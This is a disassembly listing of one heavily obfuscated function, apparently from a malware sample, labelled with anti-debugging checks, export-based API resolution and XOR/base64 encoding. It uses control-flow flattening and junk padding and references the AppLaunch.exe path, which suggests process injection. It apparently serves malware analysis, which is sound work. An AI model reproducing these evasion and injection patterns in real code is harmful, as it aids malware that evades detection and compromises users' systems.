Function at 0x402680
Capabilities:
Access peb ldr_data
Authenticate hmac
Check for peb ntglobalflag flag
Check os version
Encode data using base64
Encode data using xor
Get number of processors
Get process heap force flags
Hash data using murmur3
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x1e4
mov eax, dword [0x45f640]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
andn ecx, eax, eax
not eax
and edx, 0x458fc84
and eax, 0xfba7037b
or edx, eax
xor edx, 0x458fc84
or ecx, edx
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x9d7c60c
and ecx, 0x32d134f5
and eax, 0xf62839f3
or edx, eax
mov eax, edx
mov esi, edx
xor eax, 0x9d7c60c
xor esi, 0x3b06f2f9
xor edx, 0xe6082090
and esi, eax
and edx, 0xe6d9669c
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xe940136a
and esi, 0x16bfec95
or ecx, esi
mov esi, eax
and esi, 0x19269963
and eax, 1
or esi, edx
xor ecx, 0x246ed861
mov edx, dword [0x460980]
xor esi, 0xe6d9669d
or eax, esi
mov esi, eax
not esi
and eax, 0x33325f20
and esi, 0xcccda0df
or eax, esi
xor eax, 0x33325f20
or eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x7e40194d
and ecx, 0x81bfe6b2
or ecx, esi
xor ecx, 0x7e40194d
xor eax, ecx
test eax, ecx
mov eax, 0xbf15a03b
sete byte [ebp - 0x99]
cmp edx, 0xa
setl byte [ebp - 0x9a]
jmp 0x402900
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0x61fcd625
and eax, ecx
not ecx
and ecx, 0x61fcd625
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x256fd459
and ecx, 0xda902ba6
or eax, ecx
mov edx, eax
mov ecx, eax
xor eax, 0xbb6cfd82
xor edx, 0x4493027c
xor ecx, 0x4493027d
and ecx, edx
and eax, 0xfffffffe
and edx, 1
or edx, eax
or edx, ecx
mov ecx, edx
xor ecx, 0x347b21ad
mov eax, edx
and eax, 0x584f2bcf
and ecx, edx
not edx
and edx, 0xa7b0d430
mov edi, ecx
not edi
and ecx, 0xf9fdee84
or eax, edx
mov edx, eax
xor eax, 0x24300020
xor edx, 0x10492084
mov esi, eax
or esi, 0x2001052
or eax, edi
and edi, 0x602117b
and edx, 0x30792084
and esi, 0x602117b
or ecx, edi
not eax
or edx, esi
xor ecx, edx
or eax, ecx
not ecx
and ecx, 0xcb84de52
and eax, 0x347b21ad
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x364030b2
and ecx, 0xc9bfcf4d
or eax, ecx
mov ecx, eax
xor ecx, 0x4403000
xor eax, 0x891f8f4d
and eax, 0xbb1f8fff
and ecx, 0x44e07000
or ecx, eax
mov eax, ecx
xor eax, 0x9a040dec
xor ecx, 0x44403000
and ecx, 0x655bb213
and eax, 0x9aa44dec
or eax, ecx
xor eax, 0x9aa44dec
sete dl
setne ah
cmp dword [0x460980], 0xa
setl cl
mov al, cl
xor ah, cl
xor cl, dl
or al, dl
xor ah, 1
mov dh, cl
xor al, 1
xor dh, 1
or al, ah
mov ah, al
mov dl, al
or al, dh
xor ah, 1
and dl, ah
mov ch, ah
xor dl, 1
xor ch, dl
or dl, ah
mov ah, dh
and ah, cl
xor dl, 1
xor dh, ah
xor ah, 1
or dl, ch
or ah, cl
mov ecx, eax
xor ah, 1
or ah, dh
xor ah, dl
mov edx, 0x58230dfb
xor cl, ah
test cl, 1
mov ecx, 0xbc7a5994
cmovne ecx, edx
test al, al
mov edx, 0xbc7a5994
cmovne edx, ecx
test ah, 1
cmove edx, ecx
mov eax, edx
nop word cs:[eax + eax]
cmp eax, 0xfebd7008
jle 0x402a70
cmp eax, 0x43d99011
jle 0x402af0
cmp eax, 0x6315cffe
jg 0x402bc2
cmp eax, 0x53675531
jg 0x402ed0
cmp eax, 0x4bbb60e8
jg 0x403503
cmp eax, 0x47a217b3
jle 0x404473
cmp eax, 0x48fb4124
jle 0x4058e2
cmp eax, 0x4a3e4678
jg 0x4084e9
cmp eax, 0x48fb4125
je 0x4098ab
cmp eax, 0x4954dc8c
jne 0x402900
mov eax, dword [0x460984]
mov esi, 0x26d7c9b1
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
andn eax, ecx, ecx
not ecx
and edx, 0xce645419
and ecx, 0x319babe6
or edx, ecx
xor edx, 0xce645419
or eax, edx
mov ecx, eax
not ecx
mov edx, eax
and eax, 1
and edx, 0xfffffffe
and ecx, 0xfffffffe
or eax, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x55f72712
and ecx, 0xaa08d8ed
or ecx, eax
mov eax, ecx
xor eax, 0x880818a5
xor ecx, 0x50722002
and ecx, 0x7272e04a
and eax, 0x8d8d1fb5
or eax, ecx
xor eax, 0x8d8d1fb5
setne dl
sete ah
cmp dword [0x460980], 0xa
setl al
setge cl
or ah, cl
or al, dl
xor ah, 1
xor al, 1
or al, ah
mov ah, cl
or cl, dl
xor ah, dl
xor cl, 1
or cl, ah
xor ah, 1
mov dl, ah
xor dl, cl
or cl, ah
xor cl, 1
or cl, dl
mov ah, cl
xor ah, 1
mov dl, ah
and dl, cl
xor dl, 1
or dl, cl
mov cl, ah
xor dl, 1
xor cl, al
or dl, ah
or ah, al
xor ah, 1
xor dl, al
or ah, cl
mov cl, ah
xor cl, dl
test ah, 1
mov eax, 0x65391612
cmovne eax, esi
test dl, 1
mov edx, 0x65391612
cmove eax, esi
mov esi, dword [ebp - 0xf8]
test cl, 1
cmove eax, edx
mov dword [ebp - 0x15c], esi
jmp 0x402900
cmp eax, 0xc0c991b6
jle 0x402b60
cmp eax, 0xe471c475
jg 0x402c22
cmp eax, 0xd48e1518
jg 0x402f1c
cmp eax, 0xca74c9e3
jg 0x40366c
cmp eax, 0xc4aba249
jle 0x4044a9
cmp eax, 0xc75c7801
jle 0x40590d
cmp eax, 0xc9e384be
jg 0x408518
cmp eax, 0xc75c7802
je 0x4098c0
cmp eax, 0xc8b26431
jne 0x402900
mov eax, dword [ebp - 0x70]
mov eax, dword [eax]
mov dword [ebp - 0xec], eax
mov eax, 0xd69ed491
jmp 0x402900
cmp eax, 0x21832afb
jg 0x402c79
cmp eax, 0x11c2f084
jg 0x403065
cmp eax, 0xba56339
jg 0x4036ad
cmp eax, 0x4de39fb
jle 0x4044f8
cmp eax, 0x74037a3
jle 0x405a18
cmp eax, 0x98f96c5
jg 0x4085f9
cmp eax, 0x74037a4
je 0x4099fd
cmp eax, 0x7f9a25e
jne 0x402900
mov eax, 0xe9fffd5f
jmp 0x402900
cmp eax, 0x9eea85e6
jle 0x402d9f
cmp eax, 0xaf8fc05a
jg 0x4030b1
cmp eax, 0xa6ec9b04
jg 0x4036f1
cmp eax, 0xa164103d
jle 0x40452e
cmp eax, 0xa3705abe
jle 0x405b76
cmp eax, 0xa642839d
jg 0x40862c
cmp eax, 0xa3705abf
je 0x409a47
cmp eax, 0xa4e27961
jne 0x402900
mov eax, 0x14740200
jmp 0x402900
cmp eax, 0x729b26a8
jg 0x4031be
cmp eax, 0x6c288058
jg 0x40373c
cmp eax, 0x67cd7c8d
jle 0x404564
cmp eax, 0x69d9e24b
jle 0x405cb3
cmp eax, 0x6aacd0c6
jg 0x4086f5
cmp eax, 0x69d9e24c
je 0x409a51
cmp eax, 0x6a48988b
jne 0x402900
mov eax, dword [ebp - 0x60]
mov dword [eax], 0x40
mov eax, 0x8f5d7d1d
jmp 0x402900
cmp eax, 0xf27c8154
jg 0x40330c
cmp eax, 0xe9b4ace5
jg 0x4039e8
cmp eax, 0xe6dbda01
jle 0x404675
cmp eax, 0xe8432145
jle 0x405cf0
cmp eax, 0xe93fee4e
jg 0x4087b0
cmp eax, 0xe8432146
je 0x409b48
cmp eax, 0xe8810685
jne 0x402900
mov eax, 0xd7390704
jmp 0x402900
cmp eax, 0x315340ea
jle 0x403468
cmp eax, 0x37116ad4
jg 0x403ae3
cmp eax, 0x32e79fe3
jle 0x4046ee
cmp eax, 0x33923153
jle 0x405d42
cmp eax, 0x358999bd
jg 0x4087d0
cmp eax, 0x33923154
je 0x409b5b
cmp eax, 0x33daeda8
jne 0x402900
mov eax, dword [0x460984]
lea esi, [eax + 1]
imul esi, eax
mov eax, esi
not eax
and esi, 0x9d4e97da
and eax, 0x62b16825
or esi, eax
mov ecx, esi
xor ecx, 0x9d4e97da
xor esi, 0x62b16825
mov eax, esi
mov edx, ecx
or eax, 1
and esi, 0xfffffffe
and edx, 1
and ecx, 0x4d0c25b6
or edx, esi
mov esi, eax
and esi, 0xb2f3da49
or ecx, esi
mov esi, edx
not esi
and edx, 0x4d0c25b6
or eax, esi
and esi, 0xb2f3da49
or edx, esi
not eax
mov esi, 0x7fd18328
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0xe164b209
and ecx, 0x1e9b4df6
or ecx, eax
mov eax, ecx
xor eax, 0x80648208
xor ecx, 0x1e9b4df6
mov edx, ecx
and edx, 0x6d1179b3
and eax, 0x92ee864c
or eax, edx
xor eax, 0x92ee864c
or eax, ecx
cmp eax, 0xffffffff
setne al
cmp dword [0x460980], 0xa
setge ah
setl dl
mov cl, ah
and dl, al
or cl, al
inc al
and al, ah
or al, dl
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ah, cl
xor ah, dl
and dl, cl
and ah, cl
or dl, al
mov ecx, 0x74037a4
jmp 0x40c4ca
cmp eax, 0x8c9eb2c3
jle 0x4034b7
cmp eax, 0x95c60f2a
jg 0x403c31
cmp eax, 0x8fd1b366
jle 0x404877
cmp eax, 0x9142889c
jle 0x405d6d
cmp eax, 0x917ab4da
jg 0x4087f6
cmp eax, 0x9142889d
je 0x409cad
cmp eax, 0x916c46fa
jne 0x402900
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x114]
mov dword [eax], ecx
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0xa711e6ed
and edx, 0xa711e6ed
and ecx, eax
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xa711e6ec
and edx, 0x58ee1913
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn eax, eax, edx
or ecx, eax
xor edx, ecx
test edx, ecx
setne ch
sete dl
cmp dword [0x460980], 0xa
mov dh, ch
setl ah
setge al
mov cl, ah
or dh, ah
xor cl, ch
mov bl, dh
not cl
and cl, ah
xor ah, dl
xor dl, al
or al, ch
xor al, 1
xor dl, 1
xor cl, 1
or al, ah
xor bl, cl
or cl, dh
xor al, 1
xor cl, 1
or al, dl
or cl, bl
mov edx, eax
xor dl, 1
mov ch, dl
and ch, al
xor ch, 1
or ch, al
xor ch, 1
or ch, dl
or dl, cl
mov ah, ch
xor ch, 1
xor dl, 1
and ch, cl
xor cl, 1
and ah, cl
xor cl, al
or dl, cl
or ch, ah
mov eax, 0xb21fb3b4
mov cl, dl
xor cl, ch
test dl, 1
mov edx, 0x6f2e48b7
cmovne eax, edx
test ch, 1
not cl
cmove eax, edx
test cl, 1
mov edx, 0xb21fb3b4
cmovne eax, edx
jmp 0x402900
cmp eax, 0x5bdd6da9
jg 0x403c75
cmp eax, 0x58230dfa
jle 0x4049b7
cmp eax, 0x5a6a6341
jle 0x405ee2
cmp eax, 0x5b1d9047
jg 0x40881f
cmp eax, 0x5a6a6342
je 0x409e12
cmp eax, 0x5a9c4ac1
jne 0x402900
mov eax, 0xf34f8908
jmp 0x402900
cmp eax, 0xde1cdd0f
jg 0x403e26
cmp eax, 0xd7a79b54
jle 0x4049f3
cmp eax, 0xda43a686
jle 0x405f0d
cmp eax, 0xdc18a97c
jg 0x40883f
cmp eax, 0xda43a687
je 0x409e1c
cmp eax, 0xda678814
jne 0x402900
mov eax, dword [ebp - 0xbc]
mov ebx, 0x535c31b1
mov eax, dword [eax]
mov dword [ebp - 0x1ec], eax
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov esi, ecx
xor esi, 0x1bf94171
not eax
mov edx, eax
and edx, 0x1bf94171
and esi, ecx
and eax, 0xabf9b217
or esi, edx
mov edx, esi
not edx
and esi, 0x74a17988
and edx, 0x8b5e8677
or esi, edx
mov edx, esi
xor edx, 0x4a1008d0
xor esi, 0x240507
and esi, 0x256c352f
and edx, 0xda93cad0
or edx, esi
mov esi, edx
xor esi, 0x8a918210
xor edx, 0x256c352f
mov edi, edx
or edx, ecx
and ecx, 0x54064de8
and edi, 0x54064de8
and esi, 0xabf9b217
or esi, edi
or eax, ecx
not edx
mov edi, 0x535c31b1
xor eax, esi
mov esi, 0x1b4f2513
or edx, eax
xor edx, 0xffffffff
setne ch
sete ah
cmp dword [0x460980], 0xa
mov dh, ch
setge al
setl dl
xor dh, al
mov cl, al
and ch, dl
and al, ah
or dl, ah
or al, ch
or cl, ah
and dh, ah
xor al, 1
xor cl, 1
mov ah, al
or al, dl
or cl, dh
xor ah, dl
xor al, 1
mov edx, ecx
or al, ah
xor dl, 1
mov ah, al
not ah
and ah, dl
or dl, al
and al, cl
or al, ah
mov ecx, edx
xor cl, al
test cl, 1
cmovne ebx, esi
test al, 1
mov eax, ebx
cmovne eax, edi
test dl, 1
cmovne eax, ebx
jmp 0x402900
cmp eax, 0x19160515
jg 0x403ec9
cmp eax, 0x14cb580a
jle 0x404b88
cmp eax, 0x1762951d
jle 0x40603d
cmp eax, 0x1827ce87
jg 0x4089c2
cmp eax, 0x1762951e
je 0x409e35
cmp eax, 0x17ac83fc
jne 0x402900
mov eax, 0xc6acf5df
jmp 0x402900
cmp eax, 0xb7ecf5a6
jg 0x403f0a
cmp eax, 0xb43c5268
jle 0x404bc1
cmp eax, 0xb5a3e79e
jle 0x4061f9
cmp eax, 0xb75074ef
jg 0x408b2e
cmp eax, 0xb5a3e79f
je 0x409e3f
cmp eax, 0xb6cac41a
jne 0x402900
mov eax, dword [ebp - 0x60]
mov dword [eax], 0x20
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
mov edx, eax
or edx, 0x887634c0
not ecx
and eax, 0x2008031c
mov esi, ecx
and edx, 0xddf6fce0
and esi, 0x2010003
or esi, edx
mov edx, ecx
or edx, 0x5580c820
and edx, 0xddf6fce0
or eax, edx
xor eax, esi
mov esi, 0x9f4fdb9a
mov edx, eax
not edx
and eax, 0x5781c822
and edx, 0xa87e37dd
or eax, edx
mov edx, eax
not edx
and eax, 0x532415db
and edx, 0xacdbea24
or eax, edx
xor eax, 0x532415db
or eax, ecx
xor eax, 0xffffffff
setne dl
sete ah
cmp dword [0x460980], 0xa
setge al
setl ch
mov cl, al
and ch, dl
xor cl, ah
and cl, al
and al, ah
or al, ch
mov ah, cl
mov edx, eax
xor ah, 1
xor cl, al
xor dl, 1
or dl, ah
xor dl, 1
or dl, cl
xor dl, al
and al, dl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x14c733c9
cmovne ecx, esi
test dl, 1
mov edx, 0x14c733c9
jmp 0x40fe77
cmp eax, 0x78dfa556
jg 0x4040a2
cmp eax, 0x74d906c5
jle 0x404bf7
cmp eax, 0x75544607
jle 0x406224
cmp eax, 0x78d7c9cd
jg 0x408b4e
cmp eax, 0x75544608
je 0x409e49
cmp eax, 0x78460ea2
jne 0x402900
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0xc9663424
and edx, 0x3699cbdb
or edx, esi
mov esi, ecx
not esi
and ecx, 0x3699cbdb
or eax, esi
and esi, 0xc9663424
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov esi, eax
not esi
mov edx, eax
and edx, 0xeec3a738
and eax, 0x78dc386
mov ecx, esi
and esi, 0x113c58c7
or ecx, 1
or edx, esi
mov esi, ecx
and esi, 0xf8723c79
or eax, esi
mov esi, edx
xor esi, 0x6818300
xor edx, 0x113c58c6
or ecx, edx
and edx, 0xf8723c79
and esi, 0x78dc386
or esi, edx
not ecx
xor esi, eax
or ecx, esi
mov esi, 0xd48e1519
mov eax, ecx
not eax
and ecx, 0x61506081
and eax, 0x9eaf9f7e
or ecx, eax
xor ecx, 0x61506081
setne dl
sete ch
cmp dword [0x460980], 0xa
setge dh
setl al
mov cl, dh
and dl, al
and dh, ch
or al, ch
or dh, dl
xor al, 1
xor cl, ch
or al, dh
mov ah, cl
mov edx, eax
xor ah, 1
xor dl, 1
mov ch, dl
or dl, ah
and ah, al
xor al, cl
xor dl, 1
and ch, cl
or dl, al
or ah, ch
mov ecx, 0x8471c93b
mov al, dl
xor al, ah
test dl, 1
cmovne ecx, esi
test ah, ah
not al
cmove ecx, esi
test al, 1
mov eax, 0x8471c93b
cmovne ecx, eax
mov eax, ecx
jmp 0x402900
cmp eax, 0xf97a2081
jg 0x404220
cmp eax, 0xf4543495
jle 0x404cf0
cmp eax, 0xf6762135
jle 0x406252
cmp eax, 0xf894142e
jg 0x408ba9
cmp eax, 0xf6762136
je 0x409f1b
cmp eax, 0xf7bdc6c2
jne 0x402900
mov eax, dword [0x460984]
mov esi, 0xdc18a97d
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x7b50ff3c
and eax, 0x84af00c3
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x79ab56e
and eax, 0xf8654a91
or ecx, eax
mov eax, ecx
xor ecx, 0x24c00842
xor eax, 0x8335b5ad
mov edx, eax
and ecx, 0xa6c109ea
and eax, 0x593ef615
and edx, 0xfffffffe
or eax, ecx
xor eax, 0x593ef614
or eax, edx
mov ecx, eax
not ecx
and eax, 0xb9f29106
and ecx, 0x460d6ef9
or eax, ecx
mov ecx, eax
xor ecx, 0x91801006
xor eax, 0x6050819
and eax, 0x2e778919
and ecx, 0xd18876e6
or ecx, eax
mov eax, ecx
xor eax, 0x20400100
xor ecx, 0xd18876e6
mov edx, ecx
and edx, 0xcf3fc83f
and eax, 0x30c037c0
or eax, edx
xor eax, 0xcf3fc83f
xor ecx, eax
test ecx, eax
sete dl
cmp dword [0x460980], 0xa
setge ah
setl cl
mov al, ah
or ah, dl
xor al, dl
not al
and al, dl
xor al, 1
mov ch, al
or al, ah
xor ch, ah
mov ah, cl
xor cl, dl
xor al, 1
or ah, dl
or al, ch
xor ah, 1
or cl, ah
mov ah, cl
mov edx, ecx
xor ah, 1
and dl, ah
mov ch, ah
xor dl, 1
xor ch, dl
or dl, ah
xor dl, 1
or dl, ch
mov ah, dl
xor dl, 1
and ah, al
xor al, 1
and dl, al
or al, cl
or dl, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xec583015
cmovne ecx, esi
test al, 1
mov eax, 0xec583015
jmp 0x412955
cmp eax, 0x2ac19d23
jle 0x404261
cmp eax, 0x2c4ebc1d
jle 0x404d29
cmp eax, 0x2efa9792
jle 0x40627d
cmp eax, 0x3017a163
jg 0x408bc9
cmp eax, 0x2efa9793
je 0x40a027
cmp eax, 0x2fc5a7c7
jne 0x402900
mov eax, dword [ebp - 0x14]
mov eax, 0x43d99012
jmp 0x402900
cmp eax, 0x878687dd
jle 0x4042b3
cmp eax, 0x89ae295d
jle 0x404d5f
cmp eax, 0x8b5754fd
jle 0x4062b7
cmp eax, 0x8c13864e
jg 0x408be9
cmp eax, 0x8b5754fe
je 0x40a0dc
cmp eax, 0x8b924676
jne 0x402900
mov eax, 0x33daeda8
jmp 0x402900
cmp eax, 0x4f22960e
jle 0x404d95
cmp eax, 0x5280f3e1
jle 0x4062f0
cmp eax, 0x530c5416
jg 0x408cba
cmp eax, 0x5280f3e2
je 0x40a0fb
cmp eax, 0x52f4da25
jne 0x402900
mov eax, dword [ebp - 0x120]
mov esi, 0x5e88cec1
mov eax, dword [eax]
add eax, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0xb0]
mov dword [ecx], eax
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax]
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0x7c]
add eax, 0xfffffff8
shr eax, 1
mov dword [ecx], eax
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x337a90d6
and eax, 0xcc856f29
or ecx, eax
mov eax, ecx
mov edx, ecx
xor edx, 0x84004601
xor eax, 0x337a90d6
xor ecx, 0x337a90d7
and ecx, eax
and edx, 0x875a56c3
and eax, 0x78a5a93c
or eax, edx
xor eax, 0x78a5a93d
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x46c81182
mov edx, ecx
and edx, 0x29014a11
and ecx, 0x9036a46c
or eax, edx
xor eax, 0x46c81182
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xdc0d8a
and eax, 0xff23f275
or eax, ecx
mov ecx, eax
xor ecx, 0x98008a
xor eax, 0x84228055
and eax, 0x84668d55
and ecx, 0x7b9972aa
or ecx, eax
xor ecx, 0x7b9972aa
setne dl
sete ah
cmp dword [0x460980], 0xa
setge al
setl ch
mov cl, al
and dl, ch
xor ch, ah
or cl, ah
and ch, ah
xor cl, 1
or cl, ch
mov ch, al
xor ch, ah
and ch, al
and al, ah
mov ah, cl
or al, dl
xor ah, 1
mov edx, ecx
and dl, ah
or al, ch
xor dl, 1
xor al, 1
or dl, ah
mov ah, cl
xor dl, 1
xor ah, al
or dl, cl
xor dl, al
or al, cl
xor al, 1
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xbd801773
cmovne ecx, esi
test al, 1
mov eax, 0xbd801773
jmp 0x412955
cmp eax, 0xcff11a26
jle 0x404dcb
cmp eax, 0xd1fb3a02
jle 0x406445
cmp eax, 0xd2fb29b3
jg 0x408cda
cmp eax, 0xd1fb3a03
je 0x40a110
cmp eax, 0xd24af9da
jne 0x402900
mov eax, 0xc6b9a6b0
jmp 0x402900
cmp eax, 0xeb358c7
jle 0x404f6e
cmp eax, 0xf6c04e1
jle 0x40658b
cmp eax, 0xfddca20
jg 0x408d00
cmp eax, 0xf6c04e2
je 0x40a123
cmp eax, 0xf9cfb7c
jne 0x402900
mov eax, dword [ebp - 0x24]
mov eax, 0x9ea357a6
jmp 0x402900
cmp eax, 0xabd0f80d
jle 0x404fa4
cmp eax, 0xad646f9a
jle 0x4066ed
cmp eax, 0xad8f07e6
jg 0x408d2c
cmp eax, 0xad646f9b
je 0x40a143
cmp eax, 0xad84074e
jne 0x402900
mov dword [ebp - 0xf8], 0
mov eax, 0x4954dc8c
jmp 0x402900
cmp eax, 0x6e77c866
jle 0x4050a3
cmp eax, 0x6f2e48b6
jle 0x40686d
cmp eax, 0x71eda77e
jg 0x408e24
cmp eax, 0x6f2e48b7
je 0x40a1f5
cmp eax, 0x6f9103b9
jne 0x402900
mov eax, dword [ebp - 0x1e4]
mov ecx, dword [ebp - 0x1e0]
vmovups ymm1, ymmword [0x43d1b0]
vmovups ymm0, ymmword [str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe]
vmovups ymm2, ymmword [0x43d1d0]
mov dword [eax + 8], ecx
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x84]
mov ecx, dword [ecx]
mov dword [ecx + 0x18], eax
mov eax, dword [ebp - 0x50]
mov eax, dword [ebp - 0x84]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x50]
add eax, 0x24
mov dword [ecx], eax
bswap edx
dec esi
not edx
inc edi
sbb edi, 0xcc
inc ebx
sbb eax, 0xa3
rcr ebx, 0x40
neg edx
not ebx
or esi, 0x3f
neg edi
bswap esi
rcr ebx, 0x42
imul eax
inc eax
neg edi
add ebx, 0x7f
sub edi, 0xf3
imul esi
and eax, 0x41
neg ebx
ror edi, 0x7e
inc esi
or ebx, 0xde
or ebx, 0x18
neg edi
inc edi
and edx, 0x14
neg eax
sub edi, 0xff
rol eax, 0xe0
not eax
imul edi
mov eax, 0xf4
inc eax
rcr esi, 0xf8
rol eax, 0xee
inc edi
neg edi
sub ebx, 0x39
bswap ebx
or esi, 0x3d
sub edx, 0xc2
bswap eax
rcl edi, 0x8a
rcl edx, 0x38
dec eax
and esi, 0xb9
not esi
rcl esi, 0x2e
bswap edi
rcl eax, 0xfe
bswap edi
not edx
add esi, 0x8b
sbb edi, 0x97
rcr edx, 0xed
inc eax
inc esi
neg edx
inc edi
sbb esi, 0xa9
or eax, 0x33
add edi, 0xc3
rcl eax, 0xaa
inc eax
inc edi
mov edi, 0x46
add eax, 0x8b
neg edi
mov esi, 0xec
inc ebx
sbb esi, 0xa5
not ebx
bswap esi
rcl edx, 0xf9
rcr esi, 0x58
dec edx
mov eax, 0x1b
add edi, 0x67
mov ebx, 0x83
inc esi
inc esi
rcl ebx, 0xa5
neg eax
neg ebx
ror eax, 0xd8
inc ebx
mov ebx, 0x3f
rcr ebx, 0x44
mov edi, 0x67
not eax
dec eax
rcl eax, 0x5a
neg edx
or ebx, 0x7c
ror edx, 0xee
or esi, 0x6e
or eax, 0x28
bswap ebx
inc esi
bswap eax
rol edi, 0x1f
sub edx, 0x3f
sub edx, 0x3d
rcl edi, 0x60
sbb esi, 0xe3
sub edi, 0x48
or edx, 0xe4
bswap ebx
not eax
rol esi, 0x33
ror eax, 0xda
or edi, 0x54
or eax, 0xb3
and ebx, 0xc2
sub edi, 0x9c
sub esi, 0x50
ror edi, 0x17
ror eax, 0x75
imul eax
rcr edi, 0xeb
imul eax
ror esi, 0x11
sub esi, 0x98
dec ebx
sub ebx, 0xc9
add esi, 0x3a
not ebx
inc esi
bswap esi
and edi, 0xd3
mov ebx, 0x3a
add edi, 0x9c
sbb edx, 0xa6
dec esi
sub ebx, 0x5a
add edi, 0xd
mov esi, 0xea
rcl edx, 0xcc
not eax
add ebx, 0xc5
dec edi
rcl ebx, 0x21
ror ebx, 5
or edx, 0xe6
rol eax, 0x7b
neg edx
and ebx, 0x7f
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov ecx, 0xaafbc836
mov eax, dword [ebp - 0x88]
mov eax, dword [ebp - 0x88]
vmovups ymmword [eax + 0x20], ymm1
vmovups ymm1, ymmword [0x43d1e8]
vmovups ymmword [eax + 0x40], ymm2
vmovups ymmword [eax], ymm0
vmovups ymmword [eax + 0x58], ymm1
mov eax, dword [ebp - 0xb8]
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
cmp dword [eax + 0xe8], 0
mov eax, dword [ebp - 0xb8]
setne byte [eax]
mov eax, dword [ebp - 0xd0]
mov eax, dword [ebp - 0xb8]
cmp byte [eax], 0
mov eax, 0x2ac19d24
cmove eax, ecx
jmp 0x402900
cmp eax, 0xec668552
jle 0x4050e4
cmp eax, 0xed7981fd
jle 0x40696b
cmp eax, 0xee7d5d80
jg 0x408e44
cmp eax, 0xed7981fe
je 0x40a20a
cmp eax, 0xee30a084
jne 0x402900
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and eax, 0x6142ef08
and ecx, 1
mov esi, edx
and edx, 0x9ebd10f7
and esi, 0xfffffffe
or eax, edx
or ecx, esi
mov edx, eax
xor edx, 0x6142ef08
xor eax, 0x9ebd10f7
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
xor ecx, eax
test ecx, eax
sete ah
cmp dword [0x460980], 0xa
setl ch
mov dl, ch
mov al, ch
or dl, ah
xor al, ah
xor dl, 1
and ah, al
or dl, al
and al, ch
xor ah, 1
xor al, 1
mov ch, ah
mov cl, dl
mov dh, dl
xor ch, al
or al, ah
xor cl, 1
xor al, 1
and dh, cl
or al, ch
xor dh, 1
mov ch, al
or dh, cl
xor ch, 1
xor dh, 1
mov ah, ch
or dh, dl
mov dl, cl
and ah, al
xor dl, al
xor ah, 1
or ah, al
or al, cl
xor ah, 1
xor al, 1
or ah, ch
or al, dl
xor ah, dh
mov ecx, eax
mov edx, 0xfd6acd74
xor cl, ah
test cl, 1
mov ecx, 0xe18e2c3f
cmovne ecx, edx
test al, 1
mov edx, 0xe18e2c3f
jmp 0x4028e7
cmp eax, 0x3bb7cd01
jle 0x405123
cmp eax, 0x3e8c9024
jle 0x406c50
cmp eax, 0x4121ee34
jg 0x408f41
cmp eax, 0x3e8c9025
je 0x40a214
cmp eax, 0x40c804e0
jne 0x402900
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov esi, ecx
and esi, 0x3206c01a
and ecx, 0x4d1fe95a
mov eax, edx
and eax, 0x80e00c04
mov edi, edx
or edi, 0xb2e6cc1e
and edx, 0xb2e016a5
or esi, eax
mov eax, edi
not eax
and edi, 0x4d1933e0
or ecx, edx
xor esi, 0x3206c01a
or eax, esi
and eax, 0xb2e6cc1f
or eax, edi
mov esi, eax
not esi
mov edx, eax
and edx, 0xd9d62116
and esi, 0x2629dee9
or esi, edx
mov edx, ecx
xor edx, 0x409c848
xor ecx, 0xb2e016a5
or eax, ecx
and ecx, 0xd9d62116
and edx, 0x2629dee9
or edx, ecx
not eax
xor edx, esi
mov esi, 0xce1b0207
or eax, edx
mov ecx, eax
not ecx
and eax, 0xfcaa17b7
and ecx, 0x355e848
or eax, ecx
xor eax, 0xfcaa17b7
sete dl
setne al
cmp dword [0x460980], 0xa
setge cl
setl ah
mov ch, cl
or cl, al
xor ch, al
xor al, ah
and ch, dl
mov edx, ecx
not al
xor dl, 1
and al, ah
and cl, dl
or al, ch
mov ch, dl
xor cl, 1
mov ah, al
xor ch, cl
